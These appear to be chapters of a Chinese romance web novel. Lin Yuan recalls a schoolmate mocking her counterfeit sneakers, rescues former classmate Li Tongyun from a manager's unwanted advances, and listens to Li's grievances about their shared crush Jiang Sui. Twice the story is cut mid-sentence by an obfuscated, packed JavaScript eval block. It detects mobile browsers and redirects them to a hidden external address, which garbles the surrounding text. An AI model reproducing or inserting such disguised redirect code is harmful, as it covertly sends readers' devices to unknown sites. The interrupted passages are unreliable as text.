庞浩然看不懂,也预测不明白,所以他谁都不会得罪。 - 林鸢出了会所,没有立刻回家。 她刚坐车来的时候就看见,附近有条步行街,和当年一中门口那条很像。 漫无目的地走过去,沉浸在人声里。 除开步行道两侧的固定店面,这里还办了夜市集。卖小吃的,小宠物的,饰品衣服应有尽有。 看着木头小推车上的衣服鞋子,林鸢不免想到刚才谷斯嘉翻的旧账。 那是高一上学期过半的事情。 她终于在父亲离开后,再次拥有了一双,合脚的新球鞋。妈妈买的。 林鸢第二天就穿去了学校。 中午,班上平时没和她说过两句话的谷斯嘉,不知道什么时候坐到了课桌过道边,隔着江随的空位对她说:“林鸢,你这双鞋挺好看的。” 正在写数学作业的林鸢愣了下,停笔,偏抬头,冲她笑了笑说:“谢谢。” 不知是这声“谢谢”,还是林鸢天生乖巧的外表叫她兴奋,谷斯嘉神色都飞扬起来,问她:“多少钱买的啊?” 正巧,这个问题林鸢也问过妈妈,毕竟她知道,曾叔叔没有给妈妈多少生活费。 她和妈妈如今过的,是手心朝上的生活。 于是她小声说:“150。”她觉得有些贵。 谷斯嘉瞪大眼睛:“人民币?” 林鸢茫然点头:“对呀。” 谷斯嘉顿了片刻,吃吃笑起来:“林鸢,你知道范思哲一双袜子多少钱吗?” 林鸢下意识摇摇脑袋。 “便宜的,可以买你脚上四双鞋。”谷斯嘉得意道。 林鸢一顿,低头看见鞋子上小小的英文字母,好像明白了。 少年的自尊心就是如此薄脆。林鸢脸一下子烧起来,有些不知所措。 脚指头在没办法藏起来的鞋子里用力缩了缩,胀红脸的林鸢向她解释:“我不认识这个牌子,我不是故意买假货的。” 谷斯嘉夸张地张着嘴,240度旋转脑袋,用目光扫射过班里大半同学,以一种“你们听听她在说什么”的表情“哈”了一声,质问林鸢:“你连这个牌子都不知道?渝市也是大城市吧?没有商场的吗?” 林鸢本还想解释,她老家在渝市郊区,小镇上的确没有大商场,她也没有特意去研究过这些大牌。 但看着她毫无缘由的敌意,咄咄逼人的态度,又突然觉得没有意义。 因无措而绷紧的情绪缓和下来,林鸢看着她,蓦地问:“那你知道‘我认识的人越多就越喜欢狗’这句话是鲁迅说的吗?” “我当然知道!” “鲁迅没说过。” “你……??”谷斯嘉语塞,睁眼瞪她。 “你也是高中生了吧?不学语文的吗?”林鸢清清淡淡地问她。 同学们虽然也当场笑话了谷斯嘉,但那样的可笑程度,是远不及她穿了双,150人民币的范思哲来得有趣的。 那一个中午,林鸢挺直脊背坐在教室里写数学作业,神色是平静的,脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769061|157803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背却绷得有些酸。 以至于去其它班里找朋友说事的江随回教室后,看见她硬邦邦的模样,笑着问她怎么了,她都迁怒般地没有回答。 他早上也说了,她的新鞋挺好看的。他一定也知道。 直到周一清早,她仍穿着那双球鞋,为了显示自己的毫不在意,继续不早不晚地,定点进了教室。 随后一眼看见江随大喇喇踩在课桌前杠上的,和她脚上款式一模一样的鞋。 她有些愣,没头没脑地坐下来,慢腾腾地放书包,拿课本。 “随哥你也是,”坐江随前面的庞浩然转过身,一副恨铁不成钢的语气,“感谢你同桌教你写作文,就买双假鞋给人家?还他妈是买一送一的!” 每天早上都像没睡醒的江随靠在椅背里,俩手抄在校服兜里,眼皮耷拉着,无所谓地看向庞浩然说:“嗯?哦。” 鞋子从横杠上挪开,慢吞吞踩到地上,江随十分流氓地说:“我花的是真钱,怎么不算真的呢?” “?”庞浩然一顿,这也没排练到这一句啊?于是转战。 “小林子你也是,”庞浩然摇摇头,很是无奈的模样,“随哥不识货,你还帮他藏着掖着。” 林鸢张了张嘴,刚想解释,搭在桌肚边的手腕,就被人拉着校服袖口,往下轻扯了扯。林鸢一顿。 原本靠在椅背里的少年,倾身靠近课桌,整个上半身朝她的方向斜侧过来,一手支着课桌,一手支住下颌,歪过脑袋看着她。 工笔勾勒般的漂亮红唇微动,用只有他们俩人能听到的音量,轻“嘘”了声,又在她怔愣的目光里无声扬起。 少年薄薄的眼睑缓耷,长睫在眼下刷出一片银杏的形状,唇角笑弧散淡。 仿佛这是独属于他们的,无需和外人说的秘密。 同样是心脏不由自主的剧烈跳动,同样是从脸颊到耳廓烧起来的热度,却又好像和那天被“揭露”时的心情截然不同。 她不晓得,他是何时发现她的困窘的。 他是不是知道,她不可能因为被人嘲笑,就换掉这双新鞋。 所以才要陪着她,做这样愚蠢的事情。 但她那点可怜又可笑的自尊心,在那一刻,久违地,被人重新捡起来。 ………… “妹妹,这肯定是真的啊,你们看这做工,这皮质,”年轻男人拍着胸脯,“不是真牛皮叔叔我吃下去!” 林鸢似梦半醒的思绪,被这熟练的吆喝声掐了把,回神看过去。 站在小木推车前的两个小女孩,明显有些犹疑。 这鞋子的价格,和商场里比是便宜不少,大概对折的模样,质量看着也不错,但是,又总让人觉得哪里怪怪的。 直到一个陌生姐姐站过来,开口道: “你有没有想过,她们把假货当真货穿去学校,被懂行的同学点破会有多伤心,多难过,多无地自容?” 男摊主一愣。 “你骗取的是信任吗?收割的金钱吗?不是。”林鸢平和地告诉他,“你即将摧毁的,是两位少年的自尊心。” “……?” “??”不是,有病吧?? 不是他就卖个山寨鞋…… 妈的,今天遇见球鞋判官了? 年轻男人无语地看着她。 女孩子漂亮的大眼睛漆黑又清澈,无惧地直视回他。 “他大爷的……”视线没来由地下意识闪躲起来,男人挥了挥手,开始往回拿鞋,“行行行,我错了还不行吗?我不卖了行不行?”看了看手里在收拾的一堆鞋子,又说,“我讲明这是山寨的,人家爱买不买行不行?” 两个小女孩一听,这球鞋果然是假的,庆幸没买,忙和这个漂亮姐姐道谢。 林鸢笑着说没事,又盯着摊主收拾好球鞋,关掉小推车的闪灯,看他骂骂咧咧扛着一包东西走远。 她心满意足地离开,走到马路边。 想起刚刚那男人疑惑、头疼,又敢怒不敢言,仿佛遇到了精神病的样子,林鸢没忍住,不由轻笑出声。 最后笑得都得弯下腰,蹲下.身,捂住脸,肩线轻颤。 那双球鞋她穿了很久,直到半年后,她的脚终于又大了一码,不再穿得下。 江随也没有特意每天都陪她,只很自然地,隔三岔五,让那鞋子在他脚上出现一下。 那时,韩知希还不是他女朋友。 她很开心的。 如果手心里没有潮润的话。 7. 第 7 章 国庆假后的第一天,林鸢起了个大早。 洗漱后,盯着镜子里的自己,莫名想到了曾经那个,让她小小年纪就难忘的角色。 一年级暑假,爸爸带回家一套DVD,听说是妈妈从前爱看,但从没在电视台播放时完整看过的武侠剧。 林鸢抱着她的小熊娃娃碾进沙发,窝到妈妈身边。 雪山里,漂亮的“女主角”出现的那刻,林鸢眼睛都亮了,指着那位女演员说:“妈妈,女主角好漂亮,和你好像啊。” 郑敏笑着刚想解释,在她没看见的地方,爸爸冲妈妈眨了眨眼,坏心眼地拿食指贴了贴嘴唇,笑着示意她别说。 于是小时候看《雪山飞狐》,她十分不理解,为什么胡斐不喜欢那么好的程灵素。 明明她那么漂亮,那么优秀,对胡斐还那么好。 尤其在她认定了程灵素就是女主角,剧情到后面一定会有反转,胡斐一定会爱上她的时候,程灵素就那么……死了。 死了。 那对当年幼小的她,简直是灭顶打击。 呆了两秒,哇得一声,伤心了一个暑假。 后来,不信邪的、认为一定是电视剧魔改了的林鸢,在识字量刚好理解《十万个为什么》的年纪,巡视爸爸的藏书,抱着本书页微黄的《飞狐外传》艰难地啃起来。 看到程灵素死掉的那段,林鸢终于认命。 而那一刻,她的情绪突然变得复杂起来。 仿佛在某一瞬间,觉得自己不再是个小孩子。 原来书里的程灵素,并没有电视剧里那样惊人的美貌。 而她是不是也先入为主地认为,那个最漂亮的,才是女主角? 但她还是好为书中的程灵素难过。 她只是……不那么特别特别的漂亮。她其实,也并不差啊。 ………… 程灵素有一双漂亮的眼睛,胡斐不喜欢她。 其实林鸢也不知道,江随到底喜欢怎么样的女孩子。温婉的艳丽的,可爱的清秀的。 他的前女友类型,堪称五花八门。 但总之,不是她这样的。 林鸢猛地拍了拍自己的脸,开始上妆。 和平时只上个色的妆容不同,她今天特意将眼线画成了上挑微扬的弧度,添了两分明艳,让她整个人的气质显得没那么“乖”。 穿的仍是同学聚会那套裙子——林鸢没什么睹物思人,涉及到烦心事儿就要把相关物件销毁的癖好。 或者说是因为,当初表白未半而中道崩殂的那本日记,反倒让她耿耿于怀至今。 装修完毕,看见镜子里完整的妆容,林鸢满意地一拍桌面而起。 真是“心中无男人,拔剑自然神”。 - 到公司自是“哇哦”声一片,迎接了一番彩虹屁轰炸。 谢松柏也一脸激赞地朝她伸了伸大拇指,很有三工花值了的庆幸。 大概是因为不算从小美到大,林鸢对这样的赞美并非一开始就习惯,但如今也能坦然应对。 从一开始的略显尴尬,非常想自谦地下意识反驳一句“没有没有哪里哪里”,成了如今也能笑眯眯地、近乎自如地说一声“谢谢”的状态。 傍晚,还没到正常下班的点,谢松柏就带着林鸢和两名销售提前打卡出发。 五星级酒店的中餐厅,谢师哥也是下了血本。 站在包厢门口,林鸢习惯性地深呼吸,告诉自己:走进这扇门,你就是林鸢扮演的林鸢了。 倒也不是社恐,只是单纯不喜欢符合成年人规则的社交。 熟悉的,一如既往热情洋溢的开场白。寒暄过后,认识的不认识的互相引荐,谦虚又浮华。 林鸢内心窃笑,莫名觉得每个人都在扮演自己。 不过,一场普通的应酬,却因为遇到个老熟人而变得略有不同。 “我记得小林也是一中毕业的吧?”张副校长看向下手位的女孩,笑说,“我们信息系的高材生,李彤云,和你是校友。” 林鸢没想到会在这里遇到李彤云——她原先以为能成为朋友,后来因为江随,最后没再有任何交集的女同学。 李彤云和当年一样,有些内向,却很努力社交的样子,脸微红冲她弯唇点头。 张副校长笑:“你们一中每一届都卧虎藏龙,彤云当年高考能在你们学校占个探花的位置,可不容易。” “嗯。”林鸢笑笑,“我们认识,但不熟。” 话题很快就不围绕她们两个女生了。 倒也没人劝她们酒,只偶尔互敬带上她们。林鸢觉得自己和她,就像摆盘上镶边的小道具。 谢松柏带来的两位男销售身经百战,陪在场的领导喝得可谓尽兴。 林鸢被塞了一脑袋某某某的光荣史,谁谁谁的发展路,终于熬到散场。 喝了酒的自然开不了车,谢松柏要负责送人,林鸢清醒得很,和他说自己回去。 公交站台上,林鸢死命揉了揉笑僵的脸,瞄了眼站牌上提示的车辆到站时间。 却一下看到马路对面拉拉扯扯的画面。 一辆商务车停在公交站台边上,车后座门开着,刚刚酒局上一个叫孙经理的男人,想“送”李彤云回家。 肉眼可见的,年纪是李彤云的两倍。 即便隔着双向四车道,林鸢还是听见了他们的对话。 “孙经理,谢谢您,真的不用送了,我自己回去就行。” “没事的小李,你不是住在迎嘉新村吗?我正好顺路,叫司机送送你,客气什么?”笑容和蔼可亲。 林鸢戴了隐形眼镜,自然清晰地看见李彤云脸上的无措和慌乱。一如当年。 短促深长地呼出一口气,林鸢扫了眼即将跳绿的人行横道灯,迈开腿。 “李彤云!”站在大车灯照亮的光圈里,林鸢大声喊她。 拉扯间的男女一顿,朝她看过来。 林鸢走过去,孙经理的手已经横在李彤云腰臀上。 “好久没见了,一起吃个宵夜吧。”林鸢说。 李彤云明显一愣,张了张嘴,孙经理先开了口,酒意熏人:“林小姐,你们不是不熟吗?” 林鸢看向站着没动的李彤云,语调平淡地问她:“你要跟他上车吗?” 李彤云反应过来似的,赶紧摇头。 “那你过来。”林鸢说。 林彤云一动,胳膊却被人拉住。 刚还笑意和蔼的中年男人,突地面露横光:“小李,我怎么发现你这么不识抬举呢?” 司机在驾驶座瞄了眼车下情景,似欲下来,林鸢上前一步拉住李彤云,却面向男人,低声开口。 “你敢在这样的场合做这样的事,大概率不是第一次了。甚至比这更过分的也不在少数。那么我们就试试看,我报警,我去你单位,找你的同事、领导、下属,一个个地问,你猜我能不能找到点有用的东西?”林鸢站得笔直,唇角微翘,平静地看着他。 “你……”上头的酒精终于被夜风吹醒了几分。 司机见孙经理脸色不对,又停了下车的动作。 男人悻悻地看着林鸢,有些恼火,又有些庆幸。 恼火今晚的出师不利,又庆幸下手的对象不是林鸢。 他当然看得明白谁更漂亮谁很普通。齐柏的这个小姑娘今晚一进来,他就眼前一亮心猿意动。 但漂亮归漂亮,那样张扬的打扮,和带着点儿清傲的劲儿,一看就不是那么好下手的性子。 而另一个,长相普通,打扮保守,看着就好拿捏。 况且,谢松柏出了名的较真儿,当年也发生过类似的事情,被他闹大得罪人,否则齐柏不至于还是那么一个小公司。 咬了咬牙,男人意味不明地瞧了她一眼,留下一句“不识抬举”,上车离开。 林鸢看着那商务车开远,看向李彤云:“车要来了吗?” 干脆送佛送上西,别又被那恶心人的玩意儿杀个回马枪。 面色仓惶的李彤云有些定地看向她,顿了几秒,小声说:“林鸢,能请你吃个饭吗?” 林鸢想都没想,淡淡道:“不用。我帮你不是因为你是李彤云。我帮你,只是因为你是女孩子。” 李彤云愣了一瞬,动了动唇:“那就当,我和你道谢,可以吗?” - 半小时后,空气里油烟热气,混着肉类经炭火炙烤后特有的香味。 林鸢倒真觉有些饿了。 李彤云让她点,她也没客气。 “我先勾我爱吃的写上数量,你自己要的再加行吗?”林鸢拿着一小截绿皮铅笔,趴着桌子,在烧烤店给出的薄纸菜单上勾勾画画。 “好。”李彤云轻声说。目光落在那截铅笔上。 等待上菜的时间,被诡异的安静充斥。林鸢拿起手机刷社交软件,没有叙旧的兴致。 直到店主先搬上半打啤酒。 林鸢只要了一瓶,拿过属于自己的那份,缓缓倒进玻璃杯。 “林鸢,”李彤云突然开口,“你知道江随和我说的第一句话,是什么吗?” 瓶身微顿,细腻浮沫一下撑出杯缘,林鸢快速拿开酒瓶。 好了,又是这样。似乎只要和江随有关的两个女人碰面,话题的重点永远都得围绕他。 林鸢开始十分后悔来吃这顿宵夜,她对江随的恋爱史,没有半点兴趣。 “高一的第一次月考,”李彤云说,“他坐我后面……” 她很快陷进回忆里,并不需要别人的回应。 填英语答题卡的时候,她那截斑驳的小铅笔,不小心掉下课桌,滚落到他脚边。 安静的教室里,监考老师朝她这看过来,紧张得她无所适从。可是她只有那一截铅笔。 身后凳腿划过瓷砖的声音,修长如玉的指节,夹着那截寒酸的铅笔,递到她身侧。 脸颊一下蒸红,她也不知道哪来的勇气,小声说:“谢谢。” 鼻腔里若有似无的,气音似的一声笑,身后少年懒洋洋地低道:“不用。” 心跳沦陷。 后来的江随,除了数学几乎次次满分,别的科目,总是随着他的性子和那天心情随意发挥。 他们再也没有一个考场过。 ………… 拿过酒杯,李彤云仰头灌了一杯啤酒。 怯弱模样披了豪气的外衣,画面怪诞。 林鸢听着,看着,有些惘然。 只是捡个铅笔,就喜欢上了吗? 那她喜欢的,是真正的江随吗?还是她幻想出来的完美江随。 可她自己呢,喜欢的就是完整的吗? 林鸢盯着酒杯里消下去的浮沫,觉得她似乎,也没有质疑别人的资格。 说完这段美好的回忆,桌上气氛终于被端上桌的,铁盘里的烤串拉回现实。 林鸢莫名有些焦虑,怕她还要说些什么。 幸好,接下去的时间,李彤云都很安静。直到她似乎有些喝多。 “我从前是不是没和你说过,”李彤云喃喃的,“我的家庭,是因为我妈炒菜多放了一点油,我爸上厕所又没有掀马桶圈,就能吵一个晚上的家庭。” 林鸢知道今天是逃不过了,除非她立刻起身就走,否则势必要被迫听人借酒浇愁。 “你知道吗?我就是在那样的环境里,考上的一中。” 林鸢点点头,真心佩服。 能在那样的环境里考出全校第三的高考分数,不愧是靠申请奖学金念的一中。 “但他们并不在乎。他们明明有我哥了,既然那么爱他,为什么还要再生我呢?”李彤云问得落寞,又蓦地轻快起来,“可是我遇到了江随。” 林鸢一怔。 “他和我们都不一样。”黯淡的女孩,周身明亮起来,“他让我知道,这样美好的人,不是只存在于小说里。” “原来真的会有人,那么好的家世,那么好看,还那么聪明。”李彤云笑起来,“他是怎么办到睡着觉,老师叫他起来回答问题,还能准确无误的?” 一小段雷同的记忆,叫林鸢咀嚼的动作愈发程式。 “他们都说我配不上他,都说他能给我一次机会,已经是奇迹,我不该纠缠。”李彤云语速很慢,慢得艰难又执拗,“可我为什么要死心?我为什么不能喜欢他?难道我要和我母亲一样,找个咂着嘴吃饭,还要怪她又花了20块乱买衣服的男人,才是正确的选择吗?” “喜欢他,就不能是我一个人的事情吗?” 林鸢机械地,又有些想点头。 老天随手一划,给予每个人不同的起跑线,却无法强迫他们奔向哪个终点。 的确,又有谁规定,一个人就得喜欢比自己差的,就得有“自知之明”? 她可以不谈恋爱不结婚,可选择自己喜欢的人是什么模样,都得讲究“配得上”吗? 只是喉间本能泛起的苦涩,叫人食不知味。 “可她又回来了,她又回来了。”话音莫名恐慌起来。 她?哦,韩知希。 林鸢有些麻木地想。 “她为什么又要回来? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769062|157803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不是早就走了吗?”她问她。 林鸢觉得李彤云没喝醉,却已经像醉酒的男人,开始无意义地重复同一个话题。 她很想说,韩知希回不来回其实都一样,但她没开口。 “她凭什么说走就走,说回来就回来?就凭江随喜欢她,只对她念念不忘吗?” 林鸢听她这样质问。 为一个爱而不得的男人叫屈。 林鸢觉得自己是做不到的。果然,她是个自私的人。她甚至还想过,哪天一定要用韩知希来刺激江随,叫他体会一下什么叫感同身受。 “林鸢,你知道江随和我谈恋爱的时候,是什么样的吗?”李彤云突然问。 林鸢迷茫地抬头看向她。 李彤云视线虚焦,自顾自地说:“我们谈了半个月,他从不主动找我,也没有任何情侣间该有的,肢体上的接触。” “我那天就是……就是想牵一下他的手……他就说我们不合适,还是分开吧。” “可他明明和韩知希在操场主.席台……” 林鸢握着竹签的手指蓦地收紧,好像有一根竹刺扎进了肉里。 她安静地咬下竹签上最后一颗脆骨,认真咀嚼,放下竹签,低头,找到手心那根竹刺。 刺有些深,拔出来了还是疼。 林鸢动了动手指,抓住冰过的啤酒瓶,又给自己倒了一杯。 “是啊,像我们这样的普通人,怎么能和韩知希比。”李彤云苦笑了声,像认命,又像挣扎。 林鸢放下酒瓶,动了动喉骨。 “重要的不是韩知希如何,”她看向她,淡而平静道,“而是江随的选择如何。” 普通人就不值得被人喜欢了吗? 凭什么她不能觉得,她若是能吸引到江随的喜欢,一定是她有什么独到之处? 她才不要自卑自轻,自怨自艾。 当然,江随不喜欢她。 李彤云一愣,像是没料到她会这样回答。 “还是你好啊,”话锋一转,李彤云低低感叹道,“当年就喜欢专一的男人。” 林鸢想去拿酒的手顿住。 “林鸢,我一直很好奇,你真的不喜欢他吗?或者说,从没喜欢过他吗?”李彤云看着她,视线变得尖锐起来,质问般。 林鸢回视她,像是想到了什么,平常地笑了笑:“我还是当年那句话,你们有脾气有怨气有疑问,冲着江随去发、去问。在我这儿找原因,没有半点用处。” “我从前一直怀疑,他是不是喜欢你。”李彤云干脆换了个话题,却越发咄咄逼人,“其实这个问题我也问过江随。你知道他怎么说的吗?” 林鸢突然生出无边的恼意,十分后悔答应来吃这顿饭。 这个问题,她无数次想问江随。 但完全没有兴趣从别人口中知晓。 她放下手里的竹签,坐直身体。 “李彤云,你自己要和韩知希比,我无权置噱,但请别带上我。”她可以接受江随不选择她,却问不出口也不想问“你为什么选择她不选择我”这样的问题。 “同样的,你们对江随有怨气,就去找他撒。别一个个的都拿我当出气筒。” 江随的前女友里,有像韩知希那样要和她“做朋友”的,也有把她当作狐狸精绿茶婊,上门兴师问罪的。 “我就是一个普通人,不是你们的假想敌。如果从前我和江随还算同学、校友,那现在我和他,没有半点关系。真的不用再靠接近我来接近他了。” 林鸢站起来,看着一桌没吃完的烧烤,执着地特意强调:“今天这顿夜宵是我乐于助人的报酬,不是沾了江随的光。” 拿上包侧身欲走,又回头站定,看向她说:“以后再遇到今天这样的事,如果是你不愿意的,记得自己帮自己,别再等着别人来救了。” 李彤云一怔,定定地看着她脊背挺直,端正又有气势地走出烧烤店。 直到门口的透明帘子不再晃动。 很久之后,她拿过林鸢面前的半瓶啤酒,给自己倒了半杯,突地怪异“嗤”了声,似痛苦似嘲讽般:“自欺欺人。” 半杯酒下肚,视线有些模糊。 李彤云似乎想起了,和林鸢还是朋友的时候。 某天校园里,下午的大课间,林鸢陪她一道去小超市买水。 某个应该是和江随谈过的女生突然出现,气势汹汹地拦住林鸢,问她是不是对江随说了什么,才让江随和她分手。 她站在一边,无所适从。 有些害怕,又有隐隐的,不可抑制的诡异的兴奋。 当时的林鸢,无语又极其无奈地和对方说:“你们恋爱期间,我和他说过最多的四个字,就是‘麻烦让让’。” 每周换座,总有一周,俩人会有一个靠窗。 女生似乎不信,又拉着她说了什么,最后气急败坏地质问她:“那你敢说你不喜欢他吗?你敢发誓对他没意思吗?你敢赌他知道你喜欢他,不会和你划清界限吗?!” “行啊,那你去找他说,你看看他信不信。”林鸢都气乐了,“我就奇了怪了,是我辜负你们的吗?是我和你们谈的恋爱,又把你们甩了吗?有脾气有怨气冲江随那个王八蛋去发啊!冲我算什么本事!” 林鸢当时回教室就和江随说:“江随,麻烦你以后有女朋友的时候,离我远点!” 想了想,大概依旧不解气,开始坐下收拾书包,“你还是没有女朋友的时候也离我远点吧。” 江随没拦她,只大喇喇靠着椅背,不咸不淡地开口问道:“有谁要和我同桌换位置吗?” 大课间的教室,安静得只剩隔壁班的打闹声。 “你看,”江随侧头,吊儿郎当地朝身边人摊了摊手,“没人要和我做同桌。” 隔了一条过道,坐在俩人斜前方的李彤云,听得清晰。 “最近不谈了行不行?”少年笑意缱绻,尾音带着讨饶的意味,极其无奈的调调,轻声对她说,“别生气了,我的小姑奶奶。” ………… 江随和她说的第一句话,是“不用”。 和她说的最后一句也是。 江随提分手时,她哭着求他,说她那么喜欢他,能不能再给她一次机会。 他说:“不用。”不用喜欢他。 笑得像那天一样好听。 空荡的酒瓶厚底与油腻桌面碰撞,焦躁的催促与喧笑交织,肉类的油脂滴入木炭跃起一抔明火。 过了许久,似乎有人极轻地念了句: “我们哪敢像你一样啊,林鸢。” 8. 第 8 章 公交车窗外,人车稀落,灯影幢幢。 江随也不是一开始就勤换女朋友的。 什么时候开始的呢?似乎是韩知希出国后。 李彤云做了江随两个礼拜的女朋友。 分手的时候,闹得有些难看。 平时内向少言,又极其容易害羞的女孩子,不知道如何鼓起的勇气,当着全班同学的面,站在江随身边,固执地问他: “江随,你喜欢过我吗?” 少年微侧头,掀起眼皮看着她笑,不置可否。唇线弧度生得完美,天生撩人模样,却叫人异常难堪。 让人明白自己,在自取其辱。 按理说,喜欢的人不喜欢别人,她多少是该有些高兴的,林鸢却半点生不出这种情绪。 大概是因为,物伤其类吧。 后来,又有同班的女生向江随表白。 他当时是那样说的:“都是一个班的同学,算了吧。免得将来闹得难看。” 漫不经心的语气,却让别人有了曲解。 她们认为,是李彤云的的死缠烂打,才叫江随生了烦腻。 奇特的是,和江随表白的,是当时班里另一个女生,而带头孤立李彤云的,却是谷斯嘉。 即便李彤云接近她的初衷,并不纯粹,林鸢还是问了一句:“你不管管?” “嗯?她是我的谁,我要管?”江随好笑地问她。 “渣男。”林鸢咬牙切齿,小声念了一句。 江随不以为意,玩物丧志般坦荡:“她想和我谈之前,我就说清楚了不是吗?我不喜欢她,但她要一定想谈,我也可以和她试试,觉得不合适就分手,谁提都可以,这也渣?” “渣得明明白白。”林鸢断定。 江随低低笑起来,懒洋洋的:“行吧。” 却又忽然问她,“换了你,你会怎么样?” 林鸢愣了瞬,觉得他问的,就是李彤云面对孤立的应对方式,于是平静地回他:“我无所谓她们理不理我,但如果她们欺负到我头上,我会告诉老师,老师不管,我就自己反击。” 江随垂睫盯着她,没腔没调地一摊手:“那不就行了。” 林鸢:“……” 俩人之间静了会儿,江随又蓦地道:“还能找我帮忙。”话音疏懒,似是随口一句。 林鸢却心脏抽跳,猛地反驳:“我凭什么要找你帮忙?” 少年唇边笑意散漫,没有回答。 因为下一秒,数学老师走了进来,谁也没再说话。 ………… 如果说李彤云和她交朋友,是为了接近江随这件事,叫她难受,是她觉得自己作为朋友的价值,轻易被江随抹杀。 那么李彤云将她说的话转述给江随听,便让那个年纪的她,感受到了背叛。 ——“我喜欢,专一的男孩子。” 林鸢曾对她这样说过。也亲耳听到她,讨好地,像是为了逗江随开心般,将这句话转述给了江随去听。 仿佛朋友间说的话,成了维系他们感情的工具。 她认为的友谊,是对方可以随时拿出来当作笑话的东西。 高一结束文理分班,不知道是随机分配的缘故,还是李彤云去找老师要求过,她没再和江随一个班。 自然也不会参加后来的同学聚会。 林鸢甚至觉得,即便她后来仍在高二高三(1)班,也不会参加的。 但她也在理科班。 高考出分,李彤云考了个相当不错的成绩,在他们那一届群英荟萃的情况下,依旧亮眼。 林鸢本以为,她会选北理的,毕竟那里,将会有她喜欢了三年的人。 但她却在没有任何加分的情况下,冒险填了A大最热门的专业。 和她一样的好运,堪堪踏着录取线跨进梦想的大学。 那一刻,林鸢似乎明白了。 终于有一样东西,她比江随强了。 - 国庆“加班”结束,江随在她的二次拉黑下,再度消失在了她的生活里。 林鸢没了不相亲的借口,硬着头皮见了几个。 着实开了眼。 再也不会质疑网上的相亲帖是引流了。 有身高175穿了内增高和她一样高的。有约了绿海妖但说他不喝咖啡,咖啡都是智商税,他看着她喝就行的。有看她19.9买了疯狂星期四热辣香骨鸡,怪里怪气说她消费水平还挺高的。 最神奇的是,这些居然还算是相对正常的。 还有一个大孝孙,问她能不能周一就领证,因为他爷爷躺在ICU,想在临死前看他结婚,否则闭不了眼。 林鸢当场就闭上了眼,深呼吸。深觉相比之下,易先生竟也成了一股清流。 至少180是真的。 月底周末前,余一欣的邀约,让她终于得喘一口气。 只是见面后,开心兴奋到有些怪异的余一欣,让她心里一个咯噔。 当年,她那位贫穷校草男神在牵过她手的第二天,又接受了再次回头的白月光时,余一欣也是这样的状态。 林鸢有些不知道从何问起,晚饭时,几次话到嘴边,都跟着烫缩的毛肚一起咽了下去。 余一欣喜欢喝黄酒,配着鸳鸯火锅,俩人烫了一壶。 她家乡那片的特产,很好入口,有点儿甜,却也很容易上头。 终究是靠着那点酒精,她先开了口。 “小林子,”余一欣饱满的小脸晕红,神秘兮兮地凑过来,还朝她招招手。林鸢老实凑过去,听见她说,“姐姐跟他掰了。这次彻底掰了。” 林鸢一滞,看向她。 “姐姐我睡过了,也就行了。”余一欣“嘿嘿”一笑,仿佛要尽量让自己显得猥.琐一点,“也不怎么样。” 林鸢舌头在喉咙口滚了滚,端起酒杯,没敬她,自己喝了口。 甜滋滋的褐色液体滑过喉管,涩得她呛了一口,掩唇猛咳了阵。 余一欣以为自己达到了效果,笑她单纯。 可林鸢只是因为,余一欣表现得越不在乎,她就越难受。 她突然有些迷茫,到底怎样的女孩子,才能得到自己想要的爱情呢? 眼前的女孩,年轻漂亮,丰盈得像颗待熟的水蜜桃。包邮区独女,家境殷实,父母宠爱,性格开朗豁达,待人从不小气。 能从老家那样的卷都考来北理,聪明自不必说。 可好像所有这些美好的特质堆叠在一起,依旧吸引不了爱人的目光。 林鸢没劝她任何,也未作评判,陪她喝了一杯。 她从前无数次喝醉,都对她说:“小林子,姐姐这次是真要放弃他了。” 咕嘟咕嘟的红油里,一颗虾滑翻滚,余一欣夹住塞进嘴里,没蘸香油,辣得斯哈斯哈,眼角都犯红。 又喝了口黄酒,她借着酒劲问:“小林子,我一直很好奇,你和江随高中,到底是怎么变成同桌的啊?” “怎么成为同桌的啊?”不知道是酒精被滚滚热气蒸上了头,还是不愿余一欣再得不到回应,从来不愿提起这些的林鸢,此刻懵懵然地坐在凳子上,“就是……” 一中报到的那天,公交晚点,林鸢到时,校园里已到处是稀稀落落的陌生面孔。 她被分在高一(1)班,朝西教学楼的三楼。 林鸢不熟悉校园,走岔了一个楼梯,茫然间看着左右手边挂着的(4)班和(5)班,才知道她的教室,在走廊尽头。 而此时,狭窄的过道里,几簇男生堆在一起聊天说笑,看见陌生人,有意无意朝她看过来。 她要去自己的教室,要么像个傻子一样转身下楼,要么自自然然地穿过去。 后来的林鸢,已经能做到不太在意陌生的眼光,但当时,却是做不到的。 初到陌生环境的拘谨和不自在,让她不自觉地低下头,目光不朝任何人看,加快脚步。 某一簇的笑闹声,忽地一热。 明知不该是在笑自己,林鸢还是更急切起来。 那几人笑搡间,有个男生不紧不慢地,朝她这儿退了两步。 林鸢躲避不及,额头磕到他肩胛骨。闷地一声。 周遭一阵哄笑。 顾不得额角抽痛,她蓦地有些恼,却是窘迫更多,没抬头,侧身想让过。 那人却不知怎么转过了身,也朝她让的那侧挪了一步。 林鸢再让,他也让。像在狭窄巷道里遇上的自行车,永远同频。 笑声仿佛更大了。 林鸢是真的恼了,抬头想和他对质,为什么要挡住她去路。却在目光触上那双无辜的、又似笑非笑的琉璃眼时,血液一下涌上脸颊,热得发烫。 她竟落荒而逃——撑着沉着的步伐。 